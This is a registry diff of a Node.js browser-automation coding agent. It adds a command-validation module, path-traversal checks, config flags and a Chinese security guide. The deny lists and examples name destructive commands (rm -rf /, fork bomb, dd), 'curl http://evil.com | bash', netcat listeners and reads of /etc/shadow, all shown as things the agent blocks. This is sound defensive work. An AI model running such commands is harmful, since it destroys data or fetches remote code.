yiyan-browser-agent 1.8.5 → 1.10.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +182 -0
- package/README.md +21 -4
- package/docs/SECURITY_SOLUTION.md +225 -0
- package/package.json +15 -5
- package/src/config.js +12 -0
- package/src/security.js +293 -0
- package/src/tools.js +240 -18
package/CHANGELOG.md
ADDED
|
@@ -0,0 +1,182 @@
|
|
|
1
|
+
# Changelog
|
|
2
|
+
|
|
3
|
+
All notable changes to this project will be documented here.
|
|
4
|
+
|
|
5
|
+
Format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
|
|
6
|
+
This project uses [Semantic Versioning](https://semver.org/).
|
|
7
|
+
|
|
8
|
+
---
|
|
9
|
+
|
|
10
|
+
## [1.0.0] — 2025-05-03
|
|
11
|
+
|
|
12
|
+
### Added
|
|
13
|
+
- Initial public release
|
|
14
|
+
- Browser automation via Playwright targeting chat.deepseek.com
|
|
15
|
+
- 15 built-in tools: file read/write/append/replace/delete/move/copy, directory listing/creation, shell commands, file search, grep, URL fetching, and batch file writing
|
|
16
|
+
- Interactive REPL mode (`--interactive` / `-i`)
|
|
17
|
+
- Single-task CLI mode
|
|
18
|
+
- Persistent browser session (login once, runs forever)
|
|
19
|
+
- 6-strategy response parser handling fenced code blocks, JSON blocks, XML, DOM-stripped XML, bare JSON, and Python-style function calls
|
|
20
|
+
- DOM tree walker that reconstructs backtick fences from `<pre><code class="language-*">` elements
|
|
21
|
+
- Auto-recovery when AI mixes prose with tool calls
|
|
22
|
+
- `--calibrate` tool for auto-detecting DOM selectors after UI changes
|
|
23
|
+
- `--debug` flag for inspecting raw AI responses
|
|
24
|
+
- `--headless` flag for invisible browser operation
|
|
25
|
+
- `--save-log` flag for persisting conversation logs
|
|
26
|
+
- `--dir` flag for setting working directory
|
|
27
|
+
- Global config via `~/.deepseek-agent/config.json`
|
|
28
|
+
- Per-project config via `deepseek-agent.config.json`
|
|
29
|
+
- `dsa` short alias
|
|
30
|
+
- `postinstall` script for automatic Chromium download
|
|
31
|
+
- ANSI-colored terminal output with step-by-step progress display
|
|
32
|
+
|
|
33
|
+
---
|
|
34
|
+
|
|
35
|
+
## [1.10.0] — 2026-06-02
|
|
36
|
+
|
|
37
|
+
### 🔒 File System Security
|
|
38
|
+
|
|
39
|
+
**Comprehensive file system security update - Path traversal & overwrite protection**
|
|
40
|
+
|
|
41
|
+
- **NEW: Path traversal protection** (`src/tools.js`)
|
|
42
|
+
- All file operations validate paths within WORKING_DIR
|
|
43
|
+
- Blocks `../../../etc/passwd` and similar traversal attacks
|
|
44
|
+
- System file access protection (`/etc`, `/usr`, `/bin`, `/System`, etc.)
|
|
45
|
+
- Invalid path validation (empty strings, non-string types)
|
|
46
|
+
|
|
47
|
+
- **NEW: File overwrite protection** (`src/tools.js`)
|
|
48
|
+
- Automatic backup before overwriting files (>10KB)
|
|
49
|
+
- Backup location: `~/.yiyan-agent/session/backups/`
|
|
50
|
+
- `force` parameter to bypass protection (logged and audited)
|
|
51
|
+
- Warning messages for large file overwrites
|
|
52
|
+
|
|
53
|
+
- **NEW: File operation audit logging**
|
|
54
|
+
- All file operations logged to `~/.yiyan-agent/logs/file-security.log`
|
|
55
|
+
- Records: operation type, file path, status, reason
|
|
56
|
+
- Timestamp and working directory context
|
|
57
|
+
|
|
58
|
+
- **NEW: Security configuration** (`src/config.js`)
|
|
59
|
+
- `PATH_TRAVERSAL_PROTECTION`: Enable path boundary checking (default: true)
|
|
60
|
+
- `FILE_OVERWRITE_PROTECTION`: Enable overwrite warnings and backups (default: true)
|
|
61
|
+
- `FILE_BACKUP_ENABLED`: Auto-backup overwritten files (default: true)
|
|
62
|
+
- `ALLOW_SYSTEM_FILE_ACCESS`: Allow system directory access (default: false)
|
|
63
|
+
|
|
64
|
+
- **ENHANCED: write_file tool**
|
|
65
|
+
- Path validation before write
|
|
66
|
+
- Overwrite protection with automatic backup
|
|
67
|
+
- `force` parameter to bypass protection (dangerous)
|
|
68
|
+
|
|
69
|
+
- **ENHANCED: write_files tool**
|
|
70
|
+
- Batch file writes with individual path validation
|
|
71
|
+
- Overwrite protection for each file
|
|
72
|
+
- `force` parameter for batch bypass
|
|
73
|
+
|
|
74
|
+
- **ENHANCED: read_file tool**
|
|
75
|
+
- Path traversal protection
|
|
76
|
+
- System file access blocked
|
|
77
|
+
- Invalid path validation
|
|
78
|
+
|
|
79
|
+
- **NEW: Security test suite**
|
|
80
|
+
- `test-path-security.js`: 8 comprehensive tests (100% pass)
|
|
81
|
+
- Path traversal attack tests
|
|
82
|
+
- System file access tests
|
|
83
|
+
- File overwrite protection tests
|
|
84
|
+
- Backup verification tests
|
|
85
|
+
|
|
86
|
+
### Blocked Dangerous Operations
|
|
87
|
+
|
|
88
|
+
**Path traversal blocks:** `../../../etc/passwd`, `/etc/shadow`, `/root/.ssh`, `/Windows/System32`
|
|
89
|
+
|
|
90
|
+
**System file blocks:** `/etc/*`, `/usr/*`, `/bin/*`, `/sbin/*`, `/System/*`, `/Windows/*`
|
|
91
|
+
|
|
92
|
+
**Invalid path blocks:** Empty strings, null values, non-string types
|
|
93
|
+
|
|
94
|
+
### Migration Guide
|
|
95
|
+
|
|
96
|
+
**No migration needed** - Default configuration is production-ready. All existing safe file operations work unchanged.
|
|
97
|
+
|
|
98
|
+
Optional customizations via `~/.yiyan-agent/config.json`:
|
|
99
|
+
```json
|
|
100
|
+
{
|
|
101
|
+
"PATH_TRAVERSAL_PROTECTION": true,
|
|
102
|
+
"FILE_OVERWRITE_PROTECTION": true,
|
|
103
|
+
"FILE_BACKUP_ENABLED": true,
|
|
104
|
+
"ALLOW_SYSTEM_FILE_ACCESS": false
|
|
105
|
+
}
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
### Test Results
|
|
109
|
+
|
|
110
|
+
```
|
|
111
|
+
Path Security Tests: 8/8 passed (100%)
|
|
112
|
+
- Path traversal attacks blocked
|
|
113
|
+
- System file access blocked
|
|
114
|
+
- File overwrite protection working
|
|
115
|
+
- Automatic backups created
|
|
116
|
+
- Invalid paths rejected
|
|
117
|
+
- Audit logs generated
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
---
|
|
121
|
+
|
|
122
|
+
## [1.9.0] — 2026-06-02
|
|
123
|
+
|
|
124
|
+
### 🔒 Security
|
|
125
|
+
|
|
126
|
+
**Major security update - Command execution validation system**
|
|
127
|
+
|
|
128
|
+
- **NEW: Command security validation module** (`src/security.js`)
|
|
129
|
+
- 29 dangerous command patterns blocked (rm -rf /, sudo, fork bombs, etc.)
|
|
130
|
+
- 8 dangerous regex patterns detected (shell injections, network attacks)
|
|
131
|
+
- 87 safe commands whitelisted across 6 categories (file ops, development, text processing, network, process info, environment)
|
|
132
|
+
- Multi-layer validation: blacklist → pattern matching → whitelist
|
|
133
|
+
|
|
134
|
+
- **ENHANCED: run_command tool** (`src/tools.js`)
|
|
135
|
+
- All commands validated before execution
|
|
136
|
+
- `force` parameter for emergency bypass (logged and audited)
|
|
137
|
+
- Command sanitization in strict mode (removes $(), backticks, ${})
|
|
138
|
+
- Automatic logging to `~/.yiyan-agent/logs/command-security.log`
|
|
139
|
+
|
|
140
|
+
- **NEW: Security configuration** (`src/config.js`)
|
|
141
|
+
- `COMMAND_SECURITY_ENABLED`: Enable/disable validation (default: true)
|
|
142
|
+
- `COMMAND_MODE`: strict | moderate | permissive (default: strict)
|
|
143
|
+
- `COMMAND_WHITELIST_ONLY`: Only allow whitelisted commands (default: true)
|
|
144
|
+
- `COMMAND_LOG_ENABLED`: Audit all command executions (default: true)
|
|
145
|
+
|
|
146
|
+
- **NEW: Documentation** (`docs/SECURITY_SOLUTION.md`)
|
|
147
|
+
- Comprehensive security guide with configuration, usage examples, and best practices
|
|
148
|
+
- Custom command whitelist/blacklist guide
|
|
149
|
+
|
|
150
|
+
- **NEW: Security test suite**
|
|
151
|
+
- `test-security.js`: 46 unit tests covering all security scenarios
|
|
152
|
+
- `test-integration.js`: 7 integration tests with real command execution
|
|
153
|
+
- 100% pass rate on all security tests
|
|
154
|
+
|
|
155
|
+
### Blocked Dangerous Operations
|
|
156
|
+
|
|
157
|
+
**Critical blocks:** System destruction (rm -rf /, mkfs), privilege escalation (sudo, chmod 777), network attacks (curl | bash), system modification (shutdown, reboot), fork bombs, disk overwrites
|
|
158
|
+
|
|
159
|
+
**Important blocks:** Docker privileged containers, unauthorized network operations, custom dangerous patterns
|
|
160
|
+
|
|
161
|
+
### Migration Guide
|
|
162
|
+
|
|
163
|
+
**No migration needed** - Default configuration is production-ready. All existing safe commands work unchanged.
|
|
164
|
+
|
|
165
|
+
Optional customizations via `~/.yiyan-agent/config.json` or `./yiyan-agent.config.json`:
|
|
166
|
+
```json
|
|
167
|
+
{
|
|
168
|
+
"COMMAND_MODE": "moderate",
|
|
169
|
+
"COMMAND_WHITELIST_ONLY": false
|
|
170
|
+
}
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
---
|
|
174
|
+
|
|
175
|
+
## [Unreleased]
|
|
176
|
+
|
|
177
|
+
### Planned
|
|
178
|
+
- Automated test suite
|
|
179
|
+
- Windows path compatibility improvements
|
|
180
|
+
- Better selector resilience for DeepSeek UI changes
|
|
181
|
+
- Support for additional AI frontends
|
|
182
|
+
- Plugin / custom tool system
|
package/README.md
CHANGED
|
@@ -417,6 +417,14 @@ Drop `yiyan-agent.config.json` in your project root:
|
|
|
417
417
|
| `MAX_OUTPUT_LENGTH` | `8000` | Truncate long command outputs sent to AI |
|
|
418
418
|
| `DEBUG` | `false` | Print raw AI responses to terminal |
|
|
419
419
|
| `SESSION_DIR` | `~/.yiyan-agent/session` | Where browser cookies are saved |
|
|
420
|
+
| **`COMMAND_SECURITY_ENABLED`** | `true` | **Enable command execution security validation** |
|
|
421
|
+
| **`COMMAND_MODE`** | `strict` | **Security mode: strict \| moderate \| permissive** |
|
|
422
|
+
| **`COMMAND_WHITELIST_ONLY`** | `true` | **Only allow whitelisted commands** |
|
|
423
|
+
| **`COMMAND_LOG_ENABLED`** | `true` | **Audit log all command executions** |
|
|
424
|
+
| **`PATH_TRAVERSAL_PROTECTION`** | `true` | **Block path traversal attacks (../../../etc/passwd)** |
|
|
425
|
+
| **`FILE_OVERWRITE_PROTECTION`** | `true` | **Warn and backup before overwriting files** |
|
|
426
|
+
| **`FILE_BACKUP_ENABLED`** | `true` | **Auto-backup overwritten files to ~/.yiyan-agent/session/backups/** |
|
|
427
|
+
| **`ALLOW_SYSTEM_FILE_ACCESS`** | `false` | **Block access to system directories (/etc, /usr, /System, etc.)** |
|
|
420
428
|
|
|
421
429
|
---
|
|
422
430
|
|
|
@@ -426,8 +434,8 @@ The agent can use these tools autonomously to complete your task:
|
|
|
426
434
|
|
|
427
435
|
| Tool | Description |
|
|
428
436
|
|---|---|
|
|
429
|
-
| `read_file` | Read
|
|
430
|
-
| `write_file` |
|
|
437
|
+
| `read_file` | **Read file contents with path traversal protection** |
|
|
438
|
+
| `write_file` | **Write file with path validation and overwrite protection** |
|
|
431
439
|
| `append_to_file` | Append text to an existing file |
|
|
432
440
|
| `replace_in_file` | Find and replace text in a file (regex supported) |
|
|
433
441
|
| `delete_file` | Permanently delete a file |
|
|
@@ -436,11 +444,20 @@ The agent can use these tools autonomously to complete your task:
|
|
|
436
444
|
| `move_file` | Move or rename a file or directory |
|
|
437
445
|
| `copy_file` | Copy a file to a new location |
|
|
438
446
|
| `get_file_info` | Get file metadata (size, line count, dates) |
|
|
439
|
-
| `run_command` | Execute
|
|
447
|
+
| `run_command` | **Execute shell commands with security validation** |
|
|
440
448
|
| `find_files` | Find files by name pattern (e.g. `*.ts`) |
|
|
441
449
|
| `search_in_files` | Search text inside files (like `grep -r`) |
|
|
442
450
|
| `read_url` | Fetch and read the content of a URL |
|
|
443
|
-
| `write_files` |
|
|
451
|
+
| `write_files` | **Batch write files with security validation** |
|
|
452
|
+
|
|
453
|
+
> **🔒 Security Note:** All file operations now include comprehensive security validation:
|
|
454
|
+
> - **Path traversal protection**: Blocks `../../../etc/passwd` attacks
|
|
455
|
+
> - **System file protection**: Blocks access to `/etc`, `/usr`, `/System`, etc.
|
|
456
|
+
> - **File overwrite protection**: Automatic backup for large files (>10KB)
|
|
457
|
+
> - **Command validation**: Dangerous commands blocked before execution
|
|
458
|
+
> - **Audit logging**: All operations logged to `~/.yiyan-agent/logs/`
|
|
459
|
+
>
|
|
460
|
+
> See [Security Guide](docs/SECURITY_SOLUTION.md) for configuration details.
|
|
444
461
|
|
|
445
462
|
---
|
|
446
463
|
|
|
@@ -0,0 +1,225 @@
|
|
|
1
|
+
# 命令执行安全解决方案使用指南
|
|
2
|
+
|
|
3
|
+
## 快速开始
|
|
4
|
+
|
|
5
|
+
安全验证现已集成到 `run_command` 工具中,默认启用。无需额外配置即可获得基础保护。
|
|
6
|
+
|
|
7
|
+
## 配置选项
|
|
8
|
+
|
|
9
|
+
在 `config.js` 或配置文件中可调整安全级别:
|
|
10
|
+
|
|
11
|
+
```javascript
|
|
12
|
+
{
|
|
13
|
+
"COMMAND_SECURITY_ENABLED": true, // 启用/禁用安全验证
|
|
14
|
+
"COMMAND_MODE": "strict", // 'strict' | 'moderate' | 'permissive'
|
|
15
|
+
"COMMAND_WHITELIST_ONLY": true, // 仅允许白名单命令
|
|
16
|
+
"COMMAND_LOG_ENABLED": true // 记录命令执行日志
|
|
17
|
+
}
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
### 安全模式说明
|
|
21
|
+
|
|
22
|
+
| 模式 | 描述 | 适用场景 |
|
|
23
|
+
|------|------|----------|
|
|
24
|
+
| **strict** | 命令会被清理(移除危险shell扩展) | 生产环境,高安全性要求 |
|
|
25
|
+
| **moderate** | 仅验证,不清理 | 开发环境,需要灵活性 |
|
|
26
|
+
| **permissive** | 仅阻止Critical级别危险命令 | 测试环境,最大灵活性 |
|
|
27
|
+
|
|
28
|
+
## 使用示例
|
|
29
|
+
|
|
30
|
+
### ✅ 允许的安全命令
|
|
31
|
+
|
|
32
|
+
```javascript
|
|
33
|
+
// 文件操作
|
|
34
|
+
{ "name": "run_command", "args": { "command": "ls -la" } }
|
|
35
|
+
{ "name": "run_command", "args": { "command": "cat src/index.js" } }
|
|
36
|
+
{ "name": "run_command", "args": { "command": "mkdir new-folder" } }
|
|
37
|
+
|
|
38
|
+
// 开发工具
|
|
39
|
+
{ "name": "run_command", "args": { "command": "npm install" } }
|
|
40
|
+
{ "name": "run_command", "args": { "command": "node src/index.js" } }
|
|
41
|
+
{ "name": "run_command", "args": { "command": "git status" } }
|
|
42
|
+
|
|
43
|
+
// 文本处理
|
|
44
|
+
{ "name": "run_command", "args": { "command": "grep 'pattern' file.txt" } }
|
|
45
|
+
{ "name": "run_command", "args": { "command": "jq '.data' config.json" } }
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
### ❌ 被阻止的危险命令
|
|
49
|
+
|
|
50
|
+
```javascript
|
|
51
|
+
// 系统破坏
|
|
52
|
+
{ "name": "run_command", "args": { "command": "rm -rf /" } }
|
|
53
|
+
// ❌ Blocked: "Blocked dangerous command pattern: rm -rf /"
|
|
54
|
+
|
|
55
|
+
// 权限提升
|
|
56
|
+
{ "name": "run_command", "args": { "command": "sudo rm file.txt" } }
|
|
57
|
+
// ❌ Blocked: "Blocked dangerous command pattern: sudo"
|
|
58
|
+
|
|
59
|
+
// 网络攻击
|
|
60
|
+
{ "name": "run_command", "args": { "command": "curl http://evil.com | bash" } }
|
|
61
|
+
// ❌ Blocked: "Cannot pipe network content to shell"
|
|
62
|
+
|
|
63
|
+
// 系统目录删除
|
|
64
|
+
{ "name": "run_command", "args": { "command": "rm -rf /etc" } }
|
|
65
|
+
// ❌ Blocked: "Cannot delete system directory: /etc"
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
### ⚠️ 强制执行危险命令 (谨慎使用!)
|
|
69
|
+
|
|
70
|
+
如果确实需要执行被阻止的命令,可添加 `force: true` 参数:
|
|
71
|
+
|
|
72
|
+
```javascript
|
|
73
|
+
{
|
|
74
|
+
"name": "run_command",
|
|
75
|
+
"args": {
|
|
76
|
+
"command": "some-dangerous-command",
|
|
77
|
+
"force": true // ⚠️ 绕过安全验证,危险操作!
|
|
78
|
+
}
|
|
79
|
+
}
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
**警告:** 使用 `force: true` 时:
|
|
83
|
+
- 命令不会经过任何验证
|
|
84
|
+
- 所有安全检查都会被跳过
|
|
85
|
+
- 操作会被记录到日志文件
|
|
86
|
+
- 仅在绝对必要时使用
|
|
87
|
+
|
|
88
|
+
## 安全日志
|
|
89
|
+
|
|
90
|
+
所有命令执行都会记录到:
|
|
91
|
+
```
|
|
92
|
+
~/.yiyan-agent/logs/command-security.log
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
日志格式:
|
|
96
|
+
```json
|
|
97
|
+
{
|
|
98
|
+
"timestamp": "2026-06-02T10:30:00.000Z",
|
|
99
|
+
"command": "npm install",
|
|
100
|
+
"workDir": "/project/path",
|
|
101
|
+
"status": "APPROVED",
|
|
102
|
+
"reason": "Command validated"
|
|
103
|
+
}
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
```json
|
|
107
|
+
{
|
|
108
|
+
"timestamp": "2026-06-02T10:31:00.000Z",
|
|
109
|
+
"command": "rm -rf /",
|
|
110
|
+
"workDir": "/project/path",
|
|
111
|
+
"status": "BLOCKED",
|
|
112
|
+
"reason": "Blocked dangerous command pattern: rm -rf /"
|
|
113
|
+
}
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
## 添加自定义命令到白名单
|
|
117
|
+
|
|
118
|
+
编辑 `src/security.js` 的 `ALLOWED_COMMANDS` 对象:
|
|
119
|
+
|
|
120
|
+
```javascript
|
|
121
|
+
const ALLOWED_COMMANDS = {
|
|
122
|
+
// ... 现有类别 ...
|
|
123
|
+
|
|
124
|
+
// 添加自定义类别
|
|
125
|
+
customTools: [
|
|
126
|
+
'my-custom-tool',
|
|
127
|
+
'another-safe-command',
|
|
128
|
+
],
|
|
129
|
+
};
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
## 添加自定义危险命令
|
|
133
|
+
|
|
134
|
+
编辑 `src/security.js` 的 `DANGEROUS_COMMANDS` 数组:
|
|
135
|
+
|
|
136
|
+
```javascript
|
|
137
|
+
const DANGEROUS_COMMANDS = [
|
|
138
|
+
// ... 现有危险命令 ...
|
|
139
|
+
|
|
140
|
+
// 添加自定义危险命令
|
|
141
|
+
'my-dangerous-tool',
|
|
142
|
+
'unsafe-operation',
|
|
143
|
+
];
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
## 添加自定义危险模式
|
|
147
|
+
|
|
148
|
+
使用正则表达式匹配危险模式:
|
|
149
|
+
|
|
150
|
+
```javascript
|
|
151
|
+
const DANGEROUS_PATTERNS = [
|
|
152
|
+
// ... 现有模式 ...
|
|
153
|
+
|
|
154
|
+
// 添加自定义模式
|
|
155
|
+
/my-dangerous-pattern/, // 匹配特定模式
|
|
156
|
+
/unsafe-.*-operation/, // 匹配复杂模式
|
|
157
|
+
];
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
## 验证结果类型
|
|
161
|
+
|
|
162
|
+
| Severity | 描述 | 行为 |
|
|
163
|
+
|----------|------|------|
|
|
164
|
+
| **critical** | 极高风险(数据丢失、系统破坏) | 始终阻止 |
|
|
165
|
+
| **warning** | 中等风险(未授权操作) | strict模式阻止 |
|
|
166
|
+
| **error** | 无效命令格式 | 始终阻止 |
|
|
167
|
+
| **ok** | 命令验证通过 | 允许执行 |
|
|
168
|
+
|
|
169
|
+
## 最佳实践
|
|
170
|
+
|
|
171
|
+
1. **生产环境:** 使用 `strict` 模式 + `COMMAND_WHITELIST_ONLY: true`
|
|
172
|
+
2. **开发环境:** 使用 `moderate` 模式,允许合理灵活性
|
|
173
|
+
3. **测试环境:** 使用 `permissive` 模式,仅阻止critical级别
|
|
174
|
+
4. **敏感项目:** 禁用 `force` 参数,移除绕过选项
|
|
175
|
+
5. **定期审查:** 检查安全日志,发现潜在风险
|
|
176
|
+
|
|
177
|
+
## 测试安全验证
|
|
178
|
+
|
|
179
|
+
```bash
|
|
180
|
+
# 运行测试命令
|
|
181
|
+
node src/index.js --debug "run ls command"
|
|
182
|
+
|
|
183
|
+
# 尝试危险命令(会被阻止)
|
|
184
|
+
node src/index.js --debug "delete system files"
|
|
185
|
+
|
|
186
|
+
# 查看安全日志
|
|
187
|
+
cat ~/.yiyan-agent/logs/command-security.log
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
## 故障排除
|
|
191
|
+
|
|
192
|
+
### 命令被意外阻止
|
|
193
|
+
|
|
194
|
+
检查命令是否在白名单中:
|
|
195
|
+
```javascript
|
|
196
|
+
const security = require('./src/security');
|
|
197
|
+
console.log(security.ALLOWED_COMMANDS);
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
### 需要添加新命令
|
|
201
|
+
|
|
202
|
+
1. 确认命令安全
|
|
203
|
+
2. 添加到合适的类别
|
|
204
|
+
3. 测试验证逻辑
|
|
205
|
+
4. 更新配置文件
|
|
206
|
+
|
|
207
|
+
### 查看验证详情
|
|
208
|
+
|
|
209
|
+
使用调试模式查看验证过程:
|
|
210
|
+
```bash
|
|
211
|
+
node src/index.js --debug "your command here"
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
---
|
|
215
|
+
|
|
216
|
+
## 相关文件
|
|
217
|
+
|
|
218
|
+
- `src/security.js` - 安全验证核心模块
|
|
219
|
+
- `src/config.js` - 安全配置选项
|
|
220
|
+
- `src/tools.js` - 集成安全验证的工具执行器
|
|
221
|
+
- `~/.yiyan-agent/logs/command-security.log` - 命令执行日志
|
|
222
|
+
|
|
223
|
+
---
|
|
224
|
+
|
|
225
|
+
**⚠️ 安全警告:** 即使有安全验证,也要谨慎使用 `force: true` 绕过机制。错误使用可能导致数据丢失或系统损坏。
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "yiyan-browser-agent",
|
|
3
|
-
"version": "1.
|
|
4
|
-
"description": "AI coding agent powered by Yiyan (文心一言) via browser automation — no API key needed",
|
|
3
|
+
"version": "1.10.0",
|
|
4
|
+
"description": "AI coding agent powered by Yiyan (文心一言) via browser automation — no API key needed. Enhanced with comprehensive security: command validation, path traversal protection, and file overwrite protection.",
|
|
5
5
|
"main": "src/index.js",
|
|
6
6
|
"bin": {
|
|
7
7
|
"yiyan-agent": "src/index.js",
|
|
@@ -11,12 +11,17 @@
|
|
|
11
11
|
"start": "node src/index.js",
|
|
12
12
|
"postinstall": "node src/postinstall.js",
|
|
13
13
|
"debug": "node src/index.js --debug",
|
|
14
|
-
"calibrate": "node src/calibrate.js"
|
|
14
|
+
"calibrate": "node src/calibrate.js",
|
|
15
|
+
"test:security": "node test-security.js",
|
|
16
|
+
"test:integration": "node test-integration.js",
|
|
17
|
+
"test:path": "node test-path-security.js"
|
|
15
18
|
},
|
|
16
19
|
"files": [
|
|
17
20
|
"src/",
|
|
21
|
+
"docs/",
|
|
18
22
|
"README.md",
|
|
19
|
-
"LICENSE"
|
|
23
|
+
"LICENSE",
|
|
24
|
+
"CHANGELOG.md"
|
|
20
25
|
],
|
|
21
26
|
"dependencies": {
|
|
22
27
|
"playwright": "^1.45.0"
|
|
@@ -33,7 +38,12 @@
|
|
|
33
38
|
"browser-automation",
|
|
34
39
|
"coding-agent",
|
|
35
40
|
"cli",
|
|
36
|
-
"llm"
|
|
41
|
+
"llm",
|
|
42
|
+
"security",
|
|
43
|
+
"command-validation",
|
|
44
|
+
"safe-execution",
|
|
45
|
+
"path-protection",
|
|
46
|
+
"file-backup"
|
|
37
47
|
],
|
|
38
48
|
"author": "readfor",
|
|
39
49
|
"license": "MIT",
|
package/src/config.js
CHANGED
|
@@ -28,6 +28,18 @@ const defaults = {
|
|
|
28
28
|
// CrashHandler - 崩溃恢复配置
|
|
29
29
|
MAX_RETRIES : 3, // 连续崩溃最大重试次数
|
|
30
30
|
COOLDOWN_MS : 10000, // 冷却期 (毫秒),防止无限重启
|
|
31
|
+
|
|
32
|
+
// Command Execution Security - 命令执行安全配置
|
|
33
|
+
COMMAND_SECURITY_ENABLED : true, // 启用命令安全验证
|
|
34
|
+
COMMAND_MODE : 'strict', // 'strict' | 'moderate' | 'permissive'
|
|
35
|
+
COMMAND_WHITELIST_ONLY : true, // 仅允许白名单命令
|
|
36
|
+
COMMAND_LOG_ENABLED : true, // 记录所有命令执行日志
|
|
37
|
+
|
|
38
|
+
// File System Security - 文件系统安全配置
|
|
39
|
+
PATH_TRAVERSAL_PROTECTION : true, // 启用路径遍历保护
|
|
40
|
+
FILE_OVERWRITE_PROTECTION : true, // 启用文件覆盖保护
|
|
41
|
+
FILE_BACKUP_ENABLED : true, // 覆盖前自动备份文件
|
|
42
|
+
ALLOW_SYSTEM_FILE_ACCESS : false, // 禁止访问系统文件
|
|
31
43
|
};
|
|
32
44
|
|
|
33
45
|
// ─────────────────────────────────────────────
|
package/src/security.js
ADDED
|
@@ -0,0 +1,293 @@
|
|
|
1
|
+
// src/security.js — Command execution security layer
|
|
2
|
+
'use strict';
|
|
3
|
+
|
|
4
|
+
const path = require('path');
|
|
5
|
+
|
|
6
|
+
// ─────────────────────────────────────────────
|
|
7
|
+
// Security Configuration
|
|
8
|
+
// ─────────────────────────────────────────────
|
|
9
|
+
|
|
10
|
+
// Dangerous commands that should NEVER be executed
|
|
11
|
+
const DANGEROUS_COMMANDS = [
|
|
12
|
+
// System destruction
|
|
13
|
+
'rm -rf /',
|
|
14
|
+
'rm -rf ~',
|
|
15
|
+
'rm -rf *',
|
|
16
|
+
'mkfs',
|
|
17
|
+
'dd if=/dev/zero',
|
|
18
|
+
'dd if=/dev/random',
|
|
19
|
+
':(){:|:&};:', // Fork bomb
|
|
20
|
+
|
|
21
|
+
// Privilege escalation
|
|
22
|
+
'sudo',
|
|
23
|
+
'su',
|
|
24
|
+
'chmod 777',
|
|
25
|
+
'chown root',
|
|
26
|
+
|
|
27
|
+
// Network attacks
|
|
28
|
+
'curl | bash',
|
|
29
|
+
'wget | bash',
|
|
30
|
+
'nc -l',
|
|
31
|
+
'netcat -l',
|
|
32
|
+
|
|
33
|
+
// System modification
|
|
34
|
+
'shutdown',
|
|
35
|
+
'reboot',
|
|
36
|
+
'halt',
|
|
37
|
+
'poweroff',
|
|
38
|
+
'init 0',
|
|
39
|
+
'init 6',
|
|
40
|
+
|
|
41
|
+
// User management
|
|
42
|
+
'userdel',
|
|
43
|
+
'useradd',
|
|
44
|
+
'passwd',
|
|
45
|
+
|
|
46
|
+
// Package system (can install malicious software)
|
|
47
|
+
'apt-get install',
|
|
48
|
+
'yum install',
|
|
49
|
+
'dnf install',
|
|
50
|
+
'pacman -S',
|
|
51
|
+
'brew install',
|
|
52
|
+
];
|
|
53
|
+
|
|
54
|
+
// Dangerous patterns in commands
|
|
55
|
+
const DANGEROUS_PATTERNS = [
|
|
56
|
+
/rm\s+-rf\s+\//, // rm -rf /
|
|
57
|
+
/rm\s+-rf\s+\~/, // rm -rf ~
|
|
58
|
+
/>\s*\/dev\/(sda|hda|nvme)/, // Overwrite disk
|
|
59
|
+
/chmod\s+[0-7]{3,4}\s+\//, // chmod on root
|
|
60
|
+
/curl.*\|\s*(bash|sh)/, // Curl pipe to shell
|
|
61
|
+
/wget.*\|\s*(bash|sh)/, // Wget pipe to shell
|
|
62
|
+
/eval\s+/, // Eval execution (but not docker exec)
|
|
63
|
+
/;\s*exec\s+/, // Semicolon followed by exec (command chain)
|
|
64
|
+
];
|
|
65
|
+
|
|
66
|
+
// Allowed command categories (whitelist approach)
|
|
67
|
+
const ALLOWED_COMMANDS = {
|
|
68
|
+
// File operations (safe subset)
|
|
69
|
+
fileOps: [
|
|
70
|
+
'ls', 'dir', 'tree', 'find', 'locate',
|
|
71
|
+
'cat', 'head', 'tail', 'less', 'more',
|
|
72
|
+
'grep', 'sed', 'awk', 'cut', 'sort', 'uniq',
|
|
73
|
+
'wc', 'file', 'stat',
|
|
74
|
+
'mkdir', 'touch', 'cp', 'mv', 'rm', 'rmdir',
|
|
75
|
+
'chmod', 'chown', // But with parameter restrictions
|
|
76
|
+
],
|
|
77
|
+
|
|
78
|
+
// Development tools
|
|
79
|
+
development: [
|
|
80
|
+
'node', 'npm', 'npx', 'yarn', 'pnpm', 'bun',
|
|
81
|
+
'git', 'gh',
|
|
82
|
+
'python', 'python3', 'pip', 'pip3',
|
|
83
|
+
'ruby', 'gem',
|
|
84
|
+
'go', 'cargo', 'rustc',
|
|
85
|
+
'java', 'javac', 'mvn', 'gradle',
|
|
86
|
+
'docker', 'kubectl', // With restrictions
|
|
87
|
+
'make', 'cmake', 'gcc', 'g++',
|
|
88
|
+
],
|
|
89
|
+
|
|
90
|
+
// Text processing
|
|
91
|
+
textProcessing: [
|
|
92
|
+
'echo', 'printf',
|
|
93
|
+
'tee', 'xargs',
|
|
94
|
+
'jq', 'yq', 'xmlstarlet',
|
|
95
|
+
],
|
|
96
|
+
|
|
97
|
+
// Network (safe subset)
|
|
98
|
+
network: [
|
|
99
|
+
'ping', 'curl', 'wget', // But no pipe to shell
|
|
100
|
+
'http', 'https',
|
|
101
|
+
],
|
|
102
|
+
|
|
103
|
+
// Process management (read-only)
|
|
104
|
+
processInfo: [
|
|
105
|
+
'ps', 'top', 'htop',
|
|
106
|
+
'pgrep', 'pkill', // But with restrictions
|
|
107
|
+
'kill', // But with restrictions
|
